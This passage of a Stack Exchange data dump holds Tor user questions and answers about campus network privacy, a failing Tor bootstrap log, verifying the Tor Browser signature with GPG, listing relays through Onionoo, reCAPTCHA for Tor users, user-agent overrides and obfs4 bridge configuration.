&lt;code&gt;curl&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-06-07T21:38:49.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19954" PostTypeId="1" CreationDate="2019-06-08T07:31:58.637" Score="0" ViewCount="283" Body="&lt;p&gt;I use cyberghost VPN, Tor, and am tring to install Tails. I concern most about is, on campus I only have two options for network: Eduroam and guest WiFi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Guest wifi does not require password, privacy-wise, is guest wifi more private than  eduroam?&lt;/li&gt;&#xA;&lt;li&gt;Once I logged into eduroam with my ID, does administrator copy my info such as Mac address? &lt;/li&gt;&#xA;&lt;li&gt;Then, if they have my mac address, does it mean even if I use guest wifi, they still know it is me who is using it if they identify my mac address?&lt;/li&gt;&#xA;&lt;li&gt;Is there anyway to set up network in my environment to achieve max anonymity?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27092" LastEditorUserId="5234" LastEditDate="2019-06-15T10:24:17.957" LastActivityDate="2019-06-15T10:24:17.957" Title="Am I screwed up forever once I logged into eduroam?" Tags="|network-configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19956" PostTypeId="1" CreationDate="2019-06-09T11:54:37.423" Score="1" ViewCount="69" Body="&lt;p&gt;I can't update the new TOR in TAILS!&#xA;Persistent volume and administrator are active.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="27098" LastEditorUserId="27098" LastEditDate="2019-06-09T12:07:55.027" LastActivityDate="2019-06-09T12:07:55.027" Title="Why isnt possible update to TOR 8.5.1 in Tails 3.14 on usb?" Tags="|tails|browsers|update|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19957" PostTypeId="1" CreationDate="2019-06-09T22:04:49.187" Score="1" ViewCount="820" Body="&lt;p&gt;Im trying to connect to Tor, but everytime i open Tor Browser it says Tor has failed to establish a connection.&#xA;Here is the log, can anyone help me?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6/9/19, 21:27:32.920 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;6/9/19, 21:27:32.920 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;6/9/19, 21:27:32.920 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;6/9/19, 21:27:32.920 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;6/9/19, 21:27:32.921 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;6/9/19, 21:27:32.921 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;6/9/19, 21:27:32.959 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;6/9/19, 21:30:48.972 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;6/9/19, 21:30:49.497 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;6/9/19, 21:30:51.100 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;6/9/19, 21:30:57.752 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;6/9/19, 21:32:07.753 [NOTICE] No circuits are opened. Relaxed timeout for circuit 8 (a General-purpose client 1-hop circuit in state doing handshakes with channel state open) to 60000ms. However, it appears the circuit has timed out anyway. &#xA;6/9/19, 21:43:28.120 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;6/9/19, 21:43:31.956 [NOTICE] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services. &#xA;6/9/19, 21:43:31.957 [NOTICE] Bootstrapped 45%: Asking for relay descriptors for internal paths &#xA;6/9/19, 21:43:31.959 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6637, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.) &#xA;6/9/19, 21:49:13.250 [NOTICE] We'd like to launch a circuit to handle a connection, but we already have 32 general-purpose client circuits pending. Waiting until some finish. &#xA;6/9/19, 21:49:53.969 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 10; recommendation warn; host 846B3EAAF0C07FF72FC79AEBB11FA3ADC58F240F at 62.141.48.177:443) &#xA;6/9/19, 21:49:53.970 [WARN] 10 connections have failed: &#xA;6/9/19, 21:49:53.970 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.300 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 11; recommendation warn; host F0FE19E02AC73368380E5613D25EE4C1F7FE8872 at 178.32.223.22:443) &#xA;6/9/19, 21:49:54.400 [WARN] 11 connections have failed: &#xA;6/9/19, 21:49:54.600 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.900 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 12; recommendation warn; host 0935BA9178F9E3B50C99DD53F723865FC224CFA8 at 192.124.250.83:9001) &#xA;6/9/19, 21:49:54.900 [WARN] 12 connections have failed: &#xA;6/9/19, 21:49:54.100 [WARN]  12 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.130 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 13; recommendation warn; host EE010EF80A27AC0B02CDC2B8B214A6201BB02D2B at 144.76.175.205:443) &#xA;6/9/19, 21:49:54.130 [WARN] 13 connections have failed: &#xA;6/9/19, 21:49:54.140 [WARN]  13 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.160 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 14; recommendation warn; host 8CAA470B905758742203E3EB45941719FCA9FEEC at 188.138.102.98:443) &#xA;6/9/19, 21:49:54.170 [WARN] 14 connections have failed: &#xA;6/9/19, 21:49:54.170 [WARN]  14 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.190 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 15; recommendation warn; host F256E107631C165A22CDE1098F782D0697FA4E4F at 193.37.59.153:43597) &#xA;6/9/19, 21:49:54.190 [WARN] 15 connections have failed: &#xA;6/9/19, 21:49:54.200 [WARN]  15 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.210 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 16; recommendation warn; host CE1E461FB8F5ED3FDA45A4D952E4D2440ECE1CFF at 51.38.99.152:9001) &#xA;6/9/19, 21:49:54.210 [WARN] 16 connections have failed: &#xA;6/9/19, 21:49:54.220 [WARN]  16 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.240 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 17; recommendation warn; host DB131E7C4CD8807373B95EA2A5C8CF5A2269244E at 51.15.89.36:9100) &#xA;6/9/19, 21:49:54.250 [WARN] 17 connections have failed: &#xA;6/9/19, 21:49:54.250 [WARN]  17 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.270 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 18; recommendation warn; host 32BA1BB34F3D6277DA0810BCB7F0D67608DE946C at 78.129.150.54:9001) &#xA;6/9/19, 21:49:54.270 [WARN] 18 connections have failed: &#xA;6/9/19, 21:49:54.280 [WARN]  18 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.310 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 19; recommendation warn; host 42B4F52C5B11E4D39855F654955425B0D5A0598B at 5.9.121.207:443) &#xA;6/9/19, 21:49:54.310 [WARN] 19 connections have failed: &#xA;6/9/19, 21:49:54.320 [WARN]  19 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.330 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 20; recommendation warn; host CE3FE883C6C9EF475EA097DC3E33A6F32B852DA1 at 78.129.218.56:443) &#xA;6/9/19, 21:49:54.340 [WARN] 20 connections have failed: &#xA;6/9/19, 21:49:54.340 [WARN]  20 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.360 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 21; recommendation warn; host 1A8B577D27A7508A3378D1C7A63FFD4759A08C62 at 158.69.212.100:9001) &#xA;6/9/19, 21:49:54.370 [WARN] 21 connections have failed: &#xA;6/9/19, 21:49:54.370 [WARN]  21 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.380 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;6/9/19, 21:49:54.390 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;6/9/19, 21:49:54.390 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 22; recommendation warn; host F23AC60CED6B33946B45CC22064078CB6CD980D6 at 54.37.73.76:443) &#xA;6/9/19, 21:49:54.400 [WARN] 22 connections have failed: &#xA;6/9/19, 21:49:54.400 [WARN]  22 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.410 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 23; recommendation warn; host 7DDD0086A2A1D03646FCDD780C2847801459599F at 95.183.24.86:9001) &#xA;6/9/19, 21:49:54.420 [WARN] 23 connections have failed: &#xA;6/9/19, 21:49:54.420 [WARN]  23 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.430 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 24; recommendation warn; host 2A3995D7A7ADA7DBD9BF5792BB156AB2A49BB2BA at 77.37.238.189:9001) &#xA;6/9/19, 21:49:54.440 [WARN] 24 connections have failed: &#xA;6/9/19, 21:49:54.450 [WARN]  24 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.460 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 25; recommendation warn; host B0553175AADB0501E5A61FC61CEA3970BE130FF2 at 5.9.147.226:9001) &#xA;6/9/19, 21:49:54.460 [WARN] 25 connections have failed: &#xA;6/9/19, 21:49:54.460 [WARN]  25 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.480 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 26; recommendation warn; host 12D552E8AF7AA2B71B218B5BBF6A5FEFA6F26BA0 at 217.182.196.67:443) &#xA;6/9/19, 21:49:54.480 [WARN] 26 connections have failed: &#xA;6/9/19, 21:49:54.480 [WARN]  26 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.490 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 27; recommendation warn; host E09FFE941E288EA8809F6CD40D9AD1BD3BAB9EAA at 95.154.221.121:9001) &#xA;6/9/19, 21:49:54.500 [WARN] 27 connections have failed: &#xA;6/9/19, 21:49:54.500 [WARN]  27 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.510 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 28; recommendation warn; host F1E6676A0551B4D88262536FAAB488B861AACA1A at 46.38.253.161:443) &#xA;6/9/19, 21:49:54.520 [WARN] 28 connections have failed: &#xA;6/9/19, 21:49:54.520 [WARN]  28 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.540 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 29; recommendation warn; host 42E0FB190D20522C6C8C71E42B71DA33AC7A780E at 176.9.197.4:443) &#xA;6/9/19, 21:49:54.540 [WARN] 29 connections have failed: &#xA;6/9/19, 21:49:54.540 [WARN]  29 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.560 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 30; recommendation warn; host F01B0C11CAB9B58E395874D851E879F76BC7414B at 51.15.89.36:9000) &#xA;6/9/19, 21:49:54.560 [WARN] 30 connections have failed: &#xA;6/9/19, 21:49:54.570 [WARN]  30 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.580 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 31; recommendation warn; host E61CA793FDC9DAB0DA69B6235C8498E0166DEDF4 at 95.154.221.2:9001) &#xA;6/9/19, 21:49:54.580 [WARN] 31 connections have failed: &#xA;6/9/19, 21:49:54.580 [WARN]  31 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.600 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 32; recommendation warn; host 3DEDA4907787B7702763BC567D01D1F430894B25 at 84.245.8.40:9001) &#xA;6/9/19, 21:49:54.600 [WARN] 32 connections have failed: &#xA;6/9/19, 21:49:54.600 [WARN]  32 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.610 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 33; recommendation warn; host 15953F0C52F1A9E5CA6988A195DBA57351CC64BC at 62.210.36.177:9001) &#xA;6/9/19, 21:49:54.620 [WARN] 33 connections have failed: &#xA;6/9/19, 21:49:54.620 [WARN]  33 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.630 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 34; recommendation warn; host 88748052843CC93A02BE1D9E9B5B358AB3A104AA at 178.254.40.158:443) &#xA;6/9/19, 21:49:54.640 [WARN] 34 connections have failed: &#xA;6/9/19, 21:49:54.640 [WARN]  34 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.650 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 35; recommendation warn; host 6B062B0FDFEAC3C6F9203FB9584451E295574DAD at 51.15.37.97:9001) &#xA;6/9/19, 21:49:54.660 [WARN] 35 connections have failed: &#xA;6/9/19, 21:49:54.660 [WARN]  35 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.670 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 36; recommendation warn; host 715A4343E852BD3856BD35176875D6A0A78DC729 at 93.90.205.104:9001) &#xA;6/9/19, 21:49:54.670 [WARN] 36 connections have failed: &#xA;6/9/19, 21:49:54.680 [WARN]  36 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.690 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 37; recommendation warn; host 24F97F98C45E4754655BE66799049763DAEE99CE at 136.243.4.139:8008) &#xA;6/9/19, 21:49:54.690 [WARN] 37 connections have failed: &#xA;6/9/19, 21:49:54.700 [WARN]  37 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.710 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 38; recommendation warn; host E300B83E2CD8BD2B439B47B01F9836B7BFA62C97 at 163.172.211.112:443) &#xA;6/9/19, 21:49:54.710 [WARN] 38 connections have failed: &#xA;6/9/19, 21:49:54.720 [WARN]  38 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;6/9/19, 21:49:54.730 [WARN] Problem bootstrapping. Stuck at 45%: Asking for relay descriptors for internal paths. (DONE; DONE; count 39; recommendation warn; host 9C4DAED4759AA66D0E93EB27093BD21CFE2C2271 at 130.225.254.103:443) &#xA;6/9/19, 21:49:54.730 [WARN] 39 connections have failed: &#xA;6/9/19, 21:49:54.740 [WARN]  39 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27101" LastEditorUserId="5234" LastEditDate="2019-06-11T21:19:03.190" LastActivityDate="2019-06-11T21:19:03.190" Title="Tor browser keeps failing to establish a connection" Tags="|error|connection|startup|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19958" PostTypeId="2" ParentId="19352" CreationDate="2019-06-11T05:36:03.427" Score="1" Body="&lt;p&gt;Grab the latest build of Tor project from their download page for linux. I just did it and was 8.5.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you are in the same directory you downloaded the Tor project in to. In my case I downloaded it to &lt;code&gt;~/Downloads&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cd ~/Downloads&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the keyserver&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gpg --keyserver pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the fingerprint&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gpg --fingerprint 0x4E2C6E8793298290&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the .asc key from the small link directly under the Tor bundle download button labeled as [sig] for signature. When you click on the [sig] button it opens up the key signature URL, For future reference one can just swap out that link for the one we will &lt;code&gt;wget&lt;/code&gt; below. The file name should be the exact same name as the Tor version you downloaded but with an added &lt;code&gt;.asc&lt;/code&gt; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wget https://dist.torproject.org/torbrowser/8.5.1/tor-browser-linux64-8.5.1_en-US.tar.xz.asc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can check the file against the .asc file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gpg --verify tor-browser-linux64-8.5.1_en-US.tar.xz{.asc,}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These steps were taken directly from the How can I verify Tor Browser signature. Follow the link below if you would like to see sample output from the commands and further description. I added the above wget command to easily grab the signature and name it accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;https://support.torproject.org/tbb/how-to-verify-signature/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also as a side note, I have noticed that adding a key from the keyserver might fail if you are using a vpn. I had to disable mine. &lt;/p&gt;&#xA;" OwnerUserId="27107" LastActivityDate="2019-06-11T05:36:03.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19960" PostTypeId="2" ParentId="14697" CreationDate="2019-06-12T12:35:50.650" Score="0" Body="&lt;p&gt;As &lt;code&gt;NewUser&lt;/code&gt; suggested, go to &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/flag:Guard&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html#search/flag:Guard&lt;/a&gt;, add your filters and with a quick network inspection, you will find out that there is a &lt;a href=&quot;https://en.wikipedia.org/wiki/JSON&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON&lt;/a&gt; endpoint listing all the entries and it has filters too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to get all the running Exit nodes, we have&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://onionoo.torproject.org/details?search=flag:Exit%20running:true&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onionoo.torproject.org/details?search=flag:Exit%20running:true&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to get all the running Guard nodes, we have&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://onionoo.torproject.org/details?search=flag:Guard%20running:true&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onionoo.torproject.org/details?search=flag:Guard%20running:true&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27116" LastActivityDate="2019-06-12T12:35:50.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19963" PostTypeId="1" CreationDate="2019-06-13T07:38:40.810" Score="2" ViewCount="4183" Body="&lt;p&gt;In our website we provide Google Recaptcha V2 for users during login process, and the user must clear the Recaptcha verification before they can login else the user cannot login to the website. This process works for most of the users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the TOR browser users cannot solve the Recaptcha as they get a message &quot;Your computer or network may be sending automated queries. To protect our users we can't process your request right now&quot;. This prevents our TOR browser users from accessing our site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way by which we can specifically allow the TOR users to bypass the Recaptcha verification so that they can login without any trouble? Or are there any alternatives Recaptchas (apart from Google Recaptcha) that are TOR friendly?&lt;/p&gt;&#xA;" OwnerUserId="27121" LastEditorUserId="27140" LastEditDate="2019-06-18T06:16:38.073" LastActivityDate="2024-03-16T02:05:15.677" Title="Google Recaptcha not working in TOR Browser" Tags="|error|google|verification|captcha|login|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19978" PostTypeId="1" CreationDate="2019-06-20T08:28:10.130" Score="0" ViewCount="131" Body="&lt;p&gt;how easy is it to setup a tor relay on windows 10 NT?&#xA;Can someone point me in the right direct in setting it up on this OS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="27158" LastActivityDate="2019-06-20T12:52:15.790" Title="how do i set up a tor relay on windows 10 NT" Tags="|relays|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19980" PostTypeId="2" ParentId="19978" CreationDate="2019-06-20T12:52:15.790" Score="1" Body="&lt;p&gt;Following the instructions &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; you should be able to get it done. Just ignore OS specific information&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note you must keep the browser open the &lt;strong&gt;ENTIRE&lt;/strong&gt; time you want the relay running&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-06-20T12:52:15.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19985" PostTypeId="2" ParentId="12248" CreationDate="2019-06-21T16:59:47.327" Score="2" Body="&lt;p&gt;Type &lt;code&gt;about:config&lt;/code&gt; in the address bar. Hit enter.&lt;br&gt;&#xA;Search for &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; and disable it.&lt;br&gt;&#xA;Now you can set the useragent by creating a new String entry &lt;code&gt;general.useragent.override&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/26146&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/26146&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27167" LastActivityDate="2019-06-21T16:59:47.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19986" PostTypeId="2" ParentId="15483" CreationDate="2019-06-21T23:25:00.697" Score="1" Body="&lt;p&gt;For situations where Tor is blocked by a firewall, you can configure Tor Browser to use ShadowsocksR (SSR) as a proxy server. This short proof-of-concept video demonstrates the client configuration on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor浏览器+ShadowsocksR(SSR)客户端配置 Client Configuration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://m.youtube.com/watch?v=VRGZ4dOYv1Q&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://m.youtube.com/watch?v=VRGZ4dOYv1Q&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27173" LastActivityDate="2019-06-21T23:25:00.697" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19988" PostTypeId="1" CreationDate="2019-06-22T22:03:18.117" Score="1" ViewCount="488" Body="&lt;p&gt;I run a Tor bridge in a FreeBSD jail. I received an email from someone letting me know that a private IP address was being advertised for the obfs4 bridge. In torrc, I set up Tor to advertise my public IP address (represented as 1.2.3.4 below), and to listen on the private IP address assigned to the FreeBSD jail (represented as 192.168.1.1 below). It seems that this configuration is not supported by obfs4proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ServerTransportListenAddr was previously set to the private IP address assigned to the FreeBSD jail, and it seems that it was published to the bridge database from this setting. I am unable to set ServerTransportListenAddr to the public IP address as it is not &quot;configured&quot; in the FreeBSD jail (only the private IP address is, and traffic is forwarded to the jail by the network router). Setting ServerTransportListenAddr to 0.0.0.0 does not resolve the situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make sure that Tor publishes my true public IP address to the bridge database for the obfs4 proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SOCKSPort 0&#xA;RunAsDaemon 1&#xA;&#xA;# Advertise public IP address, but listen on private jail IP address&#xA;ORPort 1.2.3.4:12345 NoListen&#xA;ORPort 192.168.1.1:12345 NoAdvertise&#xA;&#xA;Address 1.2.3.4&#xA;OutboundBindAddress 192.168.1.1&#xA;&#xA;ExitRelay 0&#xA;&#xA;BridgeRelay 1&#xA;PublishServerDescriptor bridge&#xA;&#xA;ServerTransportPlugin obfs4 exec /usr/local/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 0.0.0.0:12345&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27180" LastActivityDate="2019-06-22T22:03:18.117" Title="Running an obfs4 bridge: Setting the IP address to advertise" Tags="|bridge|obfs4|address|freebsd|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19990" PostTypeId="1" CreationDate="2019-06-23T11:11:24.787" Score="1" ViewCount="492" Body="&lt;p&gt;general.useragent.override is absent in Tor for Android.  Does this mean that user agent changes are not possible?  &lt;/p&gt;&#xA;" OwnerUserId="27186" LastEditorUserId="88" LastEditDate="2019-06-23T12:18:51.973" LastActivityDate="2019-06-23T12:18:51.973" Title="User Agent Change in Tor for Android" Tags="|configuration|android|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19992" PostTypeId="1" AcceptedAnswerId="19993" CreationDate="2019-06-24T14:49:08.720" Score="2" ViewCount="86" Body="&lt;p&gt;In Orbot there is an option for bridges like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mqOyz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mqOyz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I enable this feature in torrc?&lt;/p&gt;&#xA;" OwnerUserId="21896" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-06-24T20:33:09.560" Title="How can I enable 'Connect through cloud servers' in torrc?" Tags="|bridge|tor-cloud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
